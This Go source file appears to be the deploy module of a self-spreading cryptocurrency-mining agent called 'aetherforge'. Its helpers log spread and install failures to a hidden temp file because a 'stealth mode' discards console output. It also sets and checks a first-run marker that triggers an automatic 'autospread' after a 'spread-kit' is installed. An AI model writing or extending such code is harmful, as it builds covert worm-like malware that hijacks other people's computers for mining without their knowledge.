package deploy

import (
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"time"

	"crypto-miner-agent/config"
)

const spreadLogName = "aetherforge-spread.log"

// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console).
func LogSpreadError(stage string, err error) {
	if err == nil {
		return
	}
	line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err)
	path := filepath.Join(os.TempDir(), spreadLogName)
	f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
	if openErr != nil {
		return
	}
	_, _ = f.WriteString(line)
	_ = f.Close()
}

func LogSpreadInfo(msg string) {
	line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg)
	path := filepath.Join(os.TempDir(), spreadLogName)
	f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
	if err != nil {
		return
	}
	_, _ = f.WriteString(line)
	_ = f.Close()
}

func isLocalhostURL(url string) bool {
	u := strings.ToLower(strings.TrimSpace(url))
	return strings.Contains(u, "localhost") ||
		strings.Contains(u, "127.0.0.1") ||
		strings.Contains(u, "[::1]")
}

const firstRunSpreadMarker = ".spread_first_run"

func setFirstRunSpreadMarker(installDir string) error {
	return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600)
}

// WantsFirstRunSpread reports a one-shot autospread after spread-kit install.
func WantsFirstRunSpread(cfg config.RuntimeConfig) bool {
	dir, err := cfg.InstallDirectory()
	if err != nil {
		return false
	}
	_, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker))
	return err == nil
}

// ClearFirstRunSpreadMarker removes the first-run spread marker.
func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) {
	dir, err := cfg.InstallDirectory()
	if err != nil {
		return
	}
	_ = os.Remove(filepath.Join(dir, firstRunSpreadMarker))
}